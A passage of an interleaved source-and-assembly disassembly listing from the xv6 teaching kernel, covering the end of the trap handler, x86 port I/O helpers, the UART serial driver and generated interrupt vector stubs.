80106cf5: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80106cfb: 0f b6 00 movzbl (%eax),%eax
uartintr();
lapiceoi();
break;
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
80106cfe: 0f b6 c0 movzbl %al,%eax
80106d01: 89 4c 24 0c mov %ecx,0xc(%esp)
80106d05: 89 54 24 08 mov %edx,0x8(%esp)
80106d09: 89 44 24 04 mov %eax,0x4(%esp)
80106d0d: c7 04 24 fc 8d 10 80 movl $0x80108dfc,(%esp)
80106d14: e8 87 96 ff ff call 801003a0 <cprintf>
cpu->id, tf->cs, tf->eip);
lapiceoi();
80106d19: e8 bb c1 ff ff call 80102ed9 <lapiceoi>
break;
80106d1e: e9 d6 00 00 00 jmp 80106df9 <trap+0x1f7>
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
80106d23: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106d29: 85 c0 test %eax,%eax
80106d2b: 74 11 je 80106d3e <trap+0x13c>
80106d2d: 8b 45 08 mov 0x8(%ebp),%eax
80106d30: 0f b7 40 3c movzwl 0x3c(%eax),%eax
80106d34: 0f b7 c0 movzwl %ax,%eax
80106d37: 83 e0 03 and $0x3,%eax
80106d3a: 85 c0 test %eax,%eax
80106d3c: 75 46 jne 80106d84 <trap+0x182>
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
80106d3e: e8 1e fd ff ff call 80106a61 <rcr2>
80106d43: 8b 55 08 mov 0x8(%ebp),%edx
80106d46: 8b 5a 38 mov 0x38(%edx),%ebx
tf->trapno, cpu->id, tf->eip, rcr2());
80106d49: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80106d50: 0f b6 12 movzbl (%edx),%edx
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
80106d53: 0f b6 ca movzbl %dl,%ecx
80106d56: 8b 55 08 mov 0x8(%ebp),%edx
80106d59: 8b 52 30 mov 0x30(%edx),%edx
80106d5c: 89 44 24 10 mov %eax,0x10(%esp)
80106d60: 89 5c 24 0c mov %ebx,0xc(%esp)
80106d64: 89 4c 24 08 mov %ecx,0x8(%esp)
80106d68: 89 54 24 04 mov %edx,0x4(%esp)
80106d6c: c7 04 24 20 8e 10 80 movl $0x80108e20,(%esp)
80106d73: e8 28 96 ff ff call 801003a0 <cprintf>
tf->trapno, cpu->id, tf->eip, rcr2());
panic("trap");
80106d78: c7 04 24 52 8e 10 80 movl $0x80108e52,(%esp)
80106d7f: e8 b6 97 ff ff call 8010053a <panic>
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80106d84: e8 d8 fc ff ff call 80106a61 <rcr2>
80106d89: 89 c2 mov %eax,%edx
80106d8b: 8b 45 08 mov 0x8(%ebp),%eax
80106d8e: 8b 78 38 mov 0x38(%eax),%edi
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip,
80106d91: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80106d97: 0f b6 00 movzbl (%eax),%eax
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpu->id, tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80106d9a: 0f b6 f0 movzbl %al,%esi
80106d9d: 8b 45 08 mov 0x8(%ebp),%eax
80106da0: 8b 58 34 mov 0x34(%eax),%ebx
80106da3: 8b 45 08 mov 0x8(%ebp),%eax
80106da6: 8b 48 30 mov 0x30(%eax),%ecx
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip,
80106da9: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106daf: 83 c0 6c add $0x6c,%eax
80106db2: 89 45 e4 mov %eax,-0x1c(%ebp)
80106db5: 65 a1 04 00 00 00 mov %gs:0x4,%eax
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpu->id, tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80106dbb: 8b 40 10 mov 0x10(%eax),%eax
80106dbe: 89 54 24 1c mov %edx,0x1c(%esp)
80106dc2: 89 7c 24 18 mov %edi,0x18(%esp)
80106dc6: 89 74 24 14 mov %esi,0x14(%esp)
80106dca: 89 5c 24 10 mov %ebx,0x10(%esp)
80106dce: 89 4c 24 0c mov %ecx,0xc(%esp)
80106dd2: 8b 75 e4 mov -0x1c(%ebp),%esi
80106dd5: 89 74 24 08 mov %esi,0x8(%esp)
80106dd9: 89 44 24 04 mov %eax,0x4(%esp)
80106ddd: c7 04 24 58 8e 10 80 movl $0x80108e58,(%esp)
80106de4: e8 b7 95 ff ff call 801003a0 <cprintf>
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip,
rcr2());
proc->killed = 1;
80106de9: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106def: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
80106df6: eb 01 jmp 80106df9 <trap+0x1f7>
ideintr();
lapiceoi();
break;
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
80106df8: 90 nop
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
80106df9: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106dff: 85 c0 test %eax,%eax
80106e01: 74 24 je 80106e27 <trap+0x225>
80106e03: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106e09: 8b 40 24 mov 0x24(%eax),%eax
80106e0c: 85 c0 test %eax,%eax
80106e0e: 74 17 je 80106e27 <trap+0x225>
80106e10: 8b 45 08 mov 0x8(%ebp),%eax
80106e13: 0f b7 40 3c movzwl 0x3c(%eax),%eax
80106e17: 0f b7 c0 movzwl %ax,%eax
80106e1a: 83 e0 03 and $0x3,%eax
80106e1d: 83 f8 03 cmp $0x3,%eax
80106e20: 75 05 jne 80106e27 <trap+0x225>
exit();
80106e22: e8 70 dd ff ff call 80104b97 <exit>
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER)
80106e27: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106e2d: 85 c0 test %eax,%eax
80106e2f: 74 1e je 80106e4f <trap+0x24d>
80106e31: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106e37: 8b 40 0c mov 0xc(%eax),%eax
80106e3a: 83 f8 04 cmp $0x4,%eax
80106e3d: 75 10 jne 80106e4f <trap+0x24d>
80106e3f: 8b 45 08 mov 0x8(%ebp),%eax
80106e42: 8b 40 30 mov 0x30(%eax),%eax
80106e45: 83 f8 20 cmp $0x20,%eax
80106e48: 75 05 jne 80106e4f <trap+0x24d>
yield();
80106e4a: e8 e1 e0 ff ff call 80104f30 <yield>
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
80106e4f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106e55: 85 c0 test %eax,%eax
80106e57: 74 24 je 80106e7d <trap+0x27b>
80106e59: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106e5f: 8b 40 24 mov 0x24(%eax),%eax
80106e62: 85 c0 test %eax,%eax
80106e64: 74 17 je 80106e7d <trap+0x27b>
80106e66: 8b 45 08 mov 0x8(%ebp),%eax
80106e69: 0f b7 40 3c movzwl 0x3c(%eax),%eax
80106e6d: 0f b7 c0 movzwl %ax,%eax
80106e70: 83 e0 03 and $0x3,%eax
80106e73: 83 f8 03 cmp $0x3,%eax
80106e76: 75 05 jne 80106e7d <trap+0x27b>
exit();
80106e78: e8 1a dd ff ff call 80104b97 <exit>
}
80106e7d: 83 c4 3c add $0x3c,%esp
80106e80: 5b pop %ebx
80106e81: 5e pop %esi
80106e82: 5f pop %edi
80106e83: 5d pop %ebp
80106e84: c3 ret
80106e85: 66 90 xchg %ax,%ax
80106e87: 90 nop
80106e88 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80106e88: 55 push %ebp
80106e89: 89 e5 mov %esp,%ebp
80106e8b: 83 ec 14 sub $0x14,%esp
80106e8e: 8b 45 08 mov 0x8(%ebp),%eax
80106e91: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80106e95: 0f b7 45 ec movzwl -0x14(%ebp),%eax
80106e99: 89 c2 mov %eax,%edx
80106e9b: ec in (%dx),%al
80106e9c: 88 45 ff mov %al,-0x1(%ebp)
return data;
80106e9f: 0f b6 45 ff movzbl -0x1(%ebp),%eax
}
80106ea3: c9 leave
80106ea4: c3 ret
80106ea5 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80106ea5: 55 push %ebp
80106ea6: 89 e5 mov %esp,%ebp
80106ea8: 83 ec 08 sub $0x8,%esp
80106eab: 8b 55 08 mov 0x8(%ebp),%edx
80106eae: 8b 45 0c mov 0xc(%ebp),%eax
80106eb1: 66 89 55 fc mov %dx,-0x4(%ebp)
80106eb5: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80106eb8: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
80106ebc: 0f b7 55 fc movzwl -0x4(%ebp),%edx
80106ec0: ee out %al,(%dx)
}
80106ec1: c9 leave
80106ec2: c3 ret
80106ec3 <uartinit>:
static int uart; // is there a uart?
void
uartinit(void)
{
80106ec3: 55 push %ebp
80106ec4: 89 e5 mov %esp,%ebp
80106ec6: 83 ec 28 sub $0x28,%esp
char *p;
// Turn off the FIFO
outb(COM1+2, 0);
80106ec9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106ed0: 00
80106ed1: c7 04 24 fa 03 00 00 movl $0x3fa,(%esp)
80106ed8: e8 c8 ff ff ff call 80106ea5 <outb>
// 9600 baud, 8 data bits, 1 stop bit, parity off.
outb(COM1+3, 0x80); // Unlock divisor
80106edd: c7 44 24 04 80 00 00 movl $0x80,0x4(%esp)
80106ee4: 00
80106ee5: c7 04 24 fb 03 00 00 movl $0x3fb,(%esp)
80106eec: e8 b4 ff ff ff call 80106ea5 <outb>
outb(COM1+0, 115200/9600);
80106ef1: c7 44 24 04 0c 00 00 movl $0xc,0x4(%esp)
80106ef8: 00
80106ef9: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
80106f00: e8 a0 ff ff ff call 80106ea5 <outb>
outb(COM1+1, 0);
80106f05: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106f0c: 00
80106f0d: c7 04 24 f9 03 00 00 movl $0x3f9,(%esp)
80106f14: e8 8c ff ff ff call 80106ea5 <outb>
outb(COM1+3, 0x03); // Lock divisor, 8 data bits.
80106f19: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80106f20: 00
80106f21: c7 04 24 fb 03 00 00 movl $0x3fb,(%esp)
80106f28: e8 78 ff ff ff call 80106ea5 <outb>
outb(COM1+4, 0);
80106f2d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106f34: 00
80106f35: c7 04 24 fc 03 00 00 movl $0x3fc,(%esp)
80106f3c: e8 64 ff ff ff call 80106ea5 <outb>
outb(COM1+1, 0x01); // Enable receive interrupts.
80106f41: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80106f48: 00
80106f49: c7 04 24 f9 03 00 00 movl $0x3f9,(%esp)
80106f50: e8 50 ff ff ff call 80106ea5 <outb>
// If status is 0xFF, no serial port.
if(inb(COM1+5) == 0xFF)
80106f55: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp)
80106f5c: e8 27 ff ff ff call 80106e88 <inb>
80106f61: 3c ff cmp $0xff,%al
80106f63: 75 02 jne 80106f67 <uartinit+0xa4>
return;
80106f65: eb 6a jmp 80106fd1 <uartinit+0x10e>
uart = 1;
80106f67: c7 05 6c c6 10 80 01 movl $0x1,0x8010c66c
80106f6e: 00 00 00
// Acknowledge pre-existing interrupt conditions;
// enable interrupts.
inb(COM1+2);
80106f71: c7 04 24 fa 03 00 00 movl $0x3fa,(%esp)
80106f78: e8 0b ff ff ff call 80106e88 <inb>
inb(COM1+0);
80106f7d: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
80106f84: e8 ff fe ff ff call 80106e88 <inb>
picenable(IRQ_COM1);
80106f89: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80106f90: e8 30 ce ff ff call 80103dc5 <picenable>
ioapicenable(IRQ_COM1, 0);
80106f95: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106f9c: 00
80106f9d: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80106fa4: e8 bb b9 ff ff call 80102964 <ioapicenable>
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80106fa9: c7 45 f4 1c 8f 10 80 movl $0x80108f1c,-0xc(%ebp)
80106fb0: eb 15 jmp 80106fc7 <uartinit+0x104>
uartputc(*p);
80106fb2: 8b 45 f4 mov -0xc(%ebp),%eax
80106fb5: 0f b6 00 movzbl (%eax),%eax
80106fb8: 0f be c0 movsbl %al,%eax
80106fbb: 89 04 24 mov %eax,(%esp)
80106fbe: e8 10 00 00 00 call 80106fd3 <uartputc>
inb(COM1+0);
picenable(IRQ_COM1);
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80106fc3: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80106fc7: 8b 45 f4 mov -0xc(%ebp),%eax
80106fca: 0f b6 00 movzbl (%eax),%eax
80106fcd: 84 c0 test %al,%al
80106fcf: 75 e1 jne 80106fb2 <uartinit+0xef>
uartputc(*p);
}
80106fd1: c9 leave
80106fd2: c3 ret
80106fd3 <uartputc>:
void
uartputc(int c)
{
80106fd3: 55 push %ebp
80106fd4: 89 e5 mov %esp,%ebp
80106fd6: 83 ec 28 sub $0x28,%esp
int i;
if(!uart)
80106fd9: a1 6c c6 10 80 mov 0x8010c66c,%eax
80106fde: 85 c0 test %eax,%eax
80106fe0: 75 02 jne 80106fe4 <uartputc+0x11>
return;
80106fe2: eb 4b jmp 8010702f <uartputc+0x5c>
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
80106fe4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80106feb: eb 10 jmp 80106ffd <uartputc+0x2a>
microdelay(10);
80106fed: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
80106ff4: e8 05 bf ff ff call 80102efe <microdelay>
{
int i;
if(!uart)
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
80106ff9: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80106ffd: 83 7d f4 7f cmpl $0x7f,-0xc(%ebp)
80107001: 7f 16 jg 80107019 <uartputc+0x46>
80107003: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp)
8010700a: e8 79 fe ff ff call 80106e88 <inb>
8010700f: 0f b6 c0 movzbl %al,%eax
80107012: 83 e0 20 and $0x20,%eax
80107015: 85 c0 test %eax,%eax
80107017: 74 d4 je 80106fed <uartputc+0x1a>
microdelay(10);
outb(COM1+0, c);
80107019: 8b 45 08 mov 0x8(%ebp),%eax
8010701c: 0f b6 c0 movzbl %al,%eax
8010701f: 89 44 24 04 mov %eax,0x4(%esp)
80107023: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
8010702a: e8 76 fe ff ff call 80106ea5 <outb>
}
8010702f: c9 leave
80107030: c3 ret
80107031 <uartgetc>:
static int
uartgetc(void)
{
80107031: 55 push %ebp
80107032: 89 e5 mov %esp,%ebp
80107034: 83 ec 04 sub $0x4,%esp
if(!uart)
80107037: a1 6c c6 10 80 mov 0x8010c66c,%eax
8010703c: 85 c0 test %eax,%eax
8010703e: 75 07 jne 80107047 <uartgetc+0x16>
return -1;
80107040: b8 ff ff ff ff mov $0xffffffff,%eax
80107045: eb 2c jmp 80107073 <uartgetc+0x42>
if(!(inb(COM1+5) & 0x01))
80107047: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp)
8010704e: e8 35 fe ff ff call 80106e88 <inb>
80107053: 0f b6 c0 movzbl %al,%eax
80107056: 83 e0 01 and $0x1,%eax
80107059: 85 c0 test %eax,%eax
8010705b: 75 07 jne 80107064 <uartgetc+0x33>
return -1;
8010705d: b8 ff ff ff ff mov $0xffffffff,%eax
80107062: eb 0f jmp 80107073 <uartgetc+0x42>
return inb(COM1+0);
80107064: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
8010706b: e8 18 fe ff ff call 80106e88 <inb>
80107070: 0f b6 c0 movzbl %al,%eax
}
80107073: c9 leave
80107074: c3 ret
80107075 <uartintr>:
void
uartintr(void)
{
80107075: 55 push %ebp
80107076: 89 e5 mov %esp,%ebp
80107078: 83 ec 18 sub $0x18,%esp
consoleintr(uartgetc);
8010707b: c7 04 24 31 70 10 80 movl $0x80107031,(%esp)
80107082: e8 26 97 ff ff call 801007ad <consoleintr>
}
80107087: c9 leave
80107088: c3 ret
80107089: 66 90 xchg %ax,%ax
8010708b: 90 nop
8010708c <vector0>:
# generated by vectors.pl - do not edit
# handlers
.globl alltraps
.globl vector0
vector0:
pushl $0
8010708c: 6a 00 push $0x0
pushl $0
8010708e: 6a 00 push $0x0
jmp alltraps
80107090: e9 77 f9 ff ff jmp 80106a0c <alltraps>
80107095 <vector1>:
.globl vector1
vector1:
pushl $0
80107095: 6a 00 push $0x0
pushl $1
80107097: 6a 01 push $0x1
jmp alltraps
80107099: e9 6e f9 ff ff jmp 80106a0c <alltraps>
8010709e <vector2>:
.globl vector2
vector2:
pushl $0
8010709e: 6a 00 push $0x0
pushl $2
801070a0: 6a 02 push $0x2
jmp alltraps
801070a2: e9 65 f9 ff ff jmp 80106a0c <alltraps>
801070a7 <vector3>:
.globl vector3
vector3:
pushl $0
801070a7: 6a 00 push $0x0
pushl $3
801070a9: 6a 03 push $0x3
jmp alltraps
801070ab: e9 5c f9 ff ff jmp 80106a0c <alltraps>
801070b0 <vector4>:
.globl vector4
vector4:
pushl $0
801070b0: 6a 00 push $0x0
pushl $4
801070b2: 6a 04 push $0x4
jmp alltraps
801070b4: e9 53 f9 ff ff jmp 80106a0c <alltraps>
801070b9 <vector5>:
.globl vector5
vector5:
pushl $0
801070b9: 6a 00 push $0x0
pushl $5
801070bb: 6a 05 push $0x5
jmp alltraps
801070bd: e9 4a f9 ff ff jmp 80106a0c <alltraps>
801070c2 <vector6>:
.globl vector6
vector6:
pushl $0
801070c2: 6a 00 push $0x0
pushl $6
801070c4: 6a 06 push $0x6
jmp alltraps
801070c6: e9 41 f9 ff ff jmp 80106a0c <alltraps>
801070cb <vector7>:
.globl vector7
vector7:
pushl $0
801070cb: 6a 00 push $0x0
pushl $7
801070cd: 6a 07 push $0x7
jmp alltraps
801070cf: e9 38 f9 ff ff jmp 80106a0c <alltraps>
801070d4 <vector8>:
.globl vector8
vector8:
pushl $8
801070d4: 6a 08 push $0x8
jmp alltraps
801070d6: e9 31 f9 ff ff jmp 80106a0c <alltraps>
801070db <vector9>:
.globl vector9
vector9:
pushl $0
801070db: 6a 00 push $0x0
pushl $9
801070dd: 6a 09 push $0x9
jmp alltraps
801070df: e9 28 f9 ff ff jmp 80106a0c <alltraps>
801070e4 <vector10>:
.globl vector10
vector10:
pushl $10
801070e4: 6a 0a push $0xa
jmp alltraps
801070e6: e9 21 f9 ff ff jmp 80106a0c <alltraps>
801070eb <vector11>:
.globl vector11
vector11:
pushl $11
801070eb: 6a 0b push $0xb
jmp alltraps
801070ed: e9 1a f9 ff ff jmp 80106a0c <alltraps>
801070f2 <vector12>:
.globl vector12
vector12:
pushl $12
801070f2: 6a 0c push $0xc
jmp alltraps
801070f4: e9 13 f9 ff ff jmp 80106a0c <alltraps>
801070f9 <vector13>:
.globl vector13
vector13:
pushl $13
801070f9: 6a 0d push $0xd
jmp alltraps
801070fb: e9 0c f9 ff ff jmp 80106a0c <alltraps>
80107100 <vector14>:
.globl vector14
vector14:
pushl $14
80107100: 6a 0e push $0xe
jmp alltraps
80107102: e9 05 f9 ff ff jmp 80106a0c <alltraps>
80107107 <vector15>:
.globl vector15
vector15:
pushl $0
80107107: 6a 00 push $0x0
pushl $15
80107109: 6a 0f push $0xf
jmp alltraps
8010710b: e9 fc f8 ff ff jmp 80106a0c <alltraps>
80107110 <vector16>:
.globl vector16
vector16:
pushl $0
80107110: 6a 00 push $0x0
pushl $16
80107112: 6a 10 push $0x10
jmp alltraps
80107114: e9 f3 f8 ff ff jmp 80106a0c <alltraps>
80107119 <vector17>:
.globl vector17
vector17:
pushl $17
80107119: 6a 11 push $0x11
jmp alltraps
8010711b: e9 ec f8 ff ff jmp 80106a0c <alltraps>
80107120 <vector18>:
.globl vector18
vector18:
pushl $0
80107120: 6a 00 push $0x0
pushl $18
80107122: 6a 12 push $0x12
jmp alltraps
80107124: e9 e3 f8 ff ff jmp 80106a0c <alltraps>
80107129 <vector19>:
.globl vector19
vector19:
pushl $0
80107129: 6a 00 push $0x0
pushl $19
8010712b: 6a 13 push $0x13
jmp alltraps
8010712d: e9 da f8 ff ff jmp 80106a0c <alltraps>
80107132 <vector20>:
.globl vector20
vector20:
pushl $0
80107132: 6a 00 push $0x0
pushl $20
80107134: 6a 14 push $0x14
jmp alltraps
80107136: e9 d1 f8 ff ff jmp 80106a0c <alltraps>
8010713b <vector21>:
.globl vector21
vector21:
pushl $0
8010713b: 6a 00 push $0x0
pushl $21
8010713d: 6a 15 push $0x15
jmp alltraps
8010713f: e9 c8 f8 ff ff jmp 80106a0c <alltraps>
80107144 <vector22>:
.globl vector22
vector22:
pushl $0
80107144: 6a 00 push $0x0
pushl $22
80107146: 6a 16 push $0x16
jmp alltraps
80107148: e9 bf f8 ff ff jmp 80106a0c <alltraps>
8010714d <vector23>:
.globl vector23
vector23:
pushl $0
8010714d: 6a 00 push $0x0
pushl $23
8010714f: 6a 17 push $0x17
jmp alltraps
80107151: e9 b6 f8 ff ff jmp 80106a0c <alltraps>
80107156 <vector24>:
.globl vector24
vector24:
pushl $0
80107156: 6a 00 push $0x0
pushl $24
80107158: 6a 18 push $0x18
jmp alltraps
8010715a: e9 ad f8 ff ff jmp 80106a0c <alltraps>
8010715f <vector25>:
.globl vector25
vector25:
pushl $0
8010715f: 6a 00 push $0x0
pushl $25
80107161: 6a 19 push $0x19
jmp alltraps
80107163: e9 a4 f8 ff ff jmp 80106a0c <alltraps>
80107168 <vector26>:
.globl vector26
vector26:
pushl $0
80107168: 6a 00 push $0x0
pushl $26
8010716a: 6a 1a push $0x1a
jmp alltraps
8010716c: e9 9b f8 ff ff jmp 80106a0c <alltraps>
80107171 <vector27>:
.globl vector27
vector27:
pushl $0
80107171: 6a 00 push $0x0
pushl $27
80107173: 6a 1b push $0x1b
jmp alltraps
80107175: e9 92 f8 ff ff jmp 80106a0c <alltraps>
8010717a <vector28>:
.globl vector28
vector28:
pushl $0
8010717a: 6a 00 push $0x0
pushl $28
8010717c: 6a 1c push $0x1c
jmp alltraps
8010717e: e9 89 f8 ff ff jmp 80106a0c <alltraps>
80107183 <vector29>:
.globl vector29
vector29:
pushl $0
80107183: 6a 00 push $0x0
pushl $29
80107185: 6a 1d push $0x1d
jmp alltraps
80107187: e9 80 f8 ff ff jmp 80106a0c <alltraps>
8010718c <vector30>:
.globl vector30
vector30:
pushl $0
8010718c: 6a 00 push $0x0
pushl $30
8010718e: 6a 1e push $0x1e
jmp alltraps
80107190: e9 77 f8 ff ff jmp 80106a0c <alltraps>
80107195 <vector31>:
.globl vector31
vector31:
pushl $0
80107195: 6a 00 push $0x0
pushl $31
80107197: 6a 1f push $0x1f
jmp alltraps
80107199: e9 6e f8 ff ff jmp 80106a0c <alltraps>
8010719e <vector32>:
.globl vector32
vector32:
pushl $0
8010719e: 6a 00 push $0x0
pushl $32
801071a0: 6a 20 push $0x20
jmp alltraps
801071a2: e9 65 f8 ff ff jmp 80106a0c <alltraps>
801071a7 <vector33>:
.globl vector33
vector33:
pushl $0
801071a7: 6a 00 push $0x0
pushl $33
801071a9: 6a 21 push $0x21
jmp alltraps
801071ab: e9 5c f8 ff ff jmp 80106a0c <alltraps>
801071b0 <vector34>:
.globl vector34
vector34:
pushl $0
801071b0: 6a 00 push $0x0
pushl $34
801071b2: 6a 22 push $0x22
jmp alltraps
801071b4: e9 53 f8 ff ff jmp 80106a0c <alltraps>
801071b9 <vector35>:
.globl vector35
vector35:
pushl $0
801071b9: 6a 00 push $0x0
pushl $35
801071bb: 6a 23 push $0x23
jmp alltraps
801071bd: e9 4a f8 ff ff jmp 80106a0c <alltraps>
801071c2 <vector36>:
.globl vector36
vector36:
pushl $0
801071c2: 6a 00 push $0x0
pushl $36
801071c4: 6a 24 push $0x24
jmp alltraps
801071c6: e9 41 f8 ff ff jmp 80106a0c <alltraps>
801071cb <vector37>:
.globl vector37
vector37:
pushl $0
801071cb: 6a 00 push $0x0
pushl $37
801071cd: 6a 25 push $0x25
jmp alltraps
801071cf: e9 38 f8 ff ff jmp 80106a0c <alltraps>
801071d4 <vector38>:
.globl vector38
vector38:
pushl $0
801071d4: 6a 00 push $0x0
pushl $38
801071d6: 6a 26 push $0x26
jmp alltraps
801071d8: e9 2f f8 ff ff jmp 80106a0c <alltraps>
801071dd <vector39>:
.globl vector39
vector39:
pushl $0
801071dd: 6a 00 push $0x0
pushl $39
801071df: 6a 27 push $0x27
jmp alltraps
801071e1: e9 26 f8 ff ff jmp 80106a0c <alltraps>
801071e6 <vector40>:
.globl vector40
vector40:
pushl $0
801071e6: 6a 00 push $0x0
pushl $40
801071e8: 6a 28 push $0x28
jmp alltraps
801071ea: e9 1d f8 ff ff jmp 80106a0c <alltraps>
801071ef <vector41>:
.globl vector41
vector41:
pushl $0
801071ef: 6a 00 push $0x0
pushl $41
801071f1: 6a 29 push $0x29
jmp alltraps
801071f3: e9 14 f8 ff ff jmp 80106a0c <alltraps>
801071f8 <vector42>:
.globl vector42
vector42:
pushl $0
801071f8: 6a 00 push $0x0
pushl $42
801071fa: 6a 2a push $0x2a
jmp alltraps
801071fc: e9 0b f8 ff ff jmp 80106a0c <alltraps>
80107201 <vector43>:
.globl vector43
vector43:
pushl $0
80107201: 6a 00 push $0x0
pushl $43
80107203: 6a 2b push $0x2b
jmp alltraps
80107205: e9 02 f8 ff ff jmp 80106a0c <alltraps>
8010720a <vector44>:
.globl vector44
vector44:
pushl $0
8010720a: 6a 00 push $0x0
pushl $44
8010720c: 6a 2c push $0x2c
jmp alltraps
8010720e: e9 f9 f7 ff ff jmp 80106a0c <alltraps>
80107213 <vector45>:
.globl vector45
vector45:
pushl $0
80107213: 6a 00 push $0x0
pushl $45
80107215: 6a 2d push $0x2d
jmp alltraps
80107217: e9 f0 f7 ff ff jmp 80106a0c <alltraps>
8010721c <vector46>:
.globl vector46
vector46:
pushl $0
8010721c: 6a 00 push $0x0
pushl $46
8010721e: 6a 2e push $0x2e
jmp alltraps
80107220: e9 e7 f7 ff ff jmp 80106a0c <alltraps>
80107225 <vector47>:
.globl vector47
vector47:
pushl $0
80107225: 6a 00 push $0x0
pushl $47
80107227: 6a 2f push $0x2f
jmp alltraps
80107229: e9 de f7 ff ff jmp 80106a0c <alltraps>
8010722e <vector48>:
.globl vector48
vector48:
pushl $0
8010722e: 6a 00 push $0x0
pushl $48
80107230: 6a 30 push $0x30
jmp alltraps
80107232: e9 d5 f7 ff ff jmp 80106a0c <alltraps>
80107237 <vector49>:
.globl vector49
vector49:
pushl $0
80107237: 6a 00 push $0x0
pushl $49
80107239: 6a 31 push $0x31
jmp alltraps
8010723b: e9 cc f7 ff ff jmp 80106a0c <alltraps>
80107240 <vector50>:
.globl vector50
vector50:
pushl $0
80107240: 6a 00 push $0x0
pushl $50
80107242: 6a 32 push $0x32
jmp alltraps
80107244: e9 c3 f7 ff ff jmp 80106a0c <alltraps>
80107249 <vector51>:
.globl vector51
vector51:
pushl $0
80107249: 6a 00 push $0x0
pushl $51
8010724b: 6a 33 push $0x33
jmp alltraps
8010724d: e9 ba f7 ff ff jmp 80106a0c <alltraps>
80107252 <vector52>:
.globl vector52
vector52:
pushl $0
80107252: 6a 00 push $0x0
pushl $52
80107254: 6a 34 push $0x34
jmp alltraps
80107256: e9 b1 f7 ff ff jmp 80106a0c <alltraps>
8010725b <vector53>:
.globl vector53
vector53:
pushl $0
8010725b: 6a 00 push $0x0
pushl $53
8010725d: 6a 35 push $0x35
jmp alltraps
8010725f: e9 a8 f7 ff ff jmp 80106a0c <alltraps>
80107264 <vector54>:
.globl vector54
vector54:
pushl $0
80107264: 6a 00 push $0x0
pushl $54
80107266: 6a 36 push $0x36
jmp alltraps
80107268: e9 9f f7 ff ff jmp 80106a0c <alltraps>
8010726d <vector55>:
.globl vector55
vector55:
pushl $0
8010726d: 6a 00 push $0x0
pushl $55
8010726f: 6a 37 push $0x37
jmp alltraps
80107271: e9 96 f7 ff ff jmp 80106a0c <alltraps>
80107276 <vector56>:
.globl vector56
vector56:
pushl $0
80107276: 6a 00 push $0x0
pushl $56
80107278: 6a 38 push $0x38
jmp alltraps
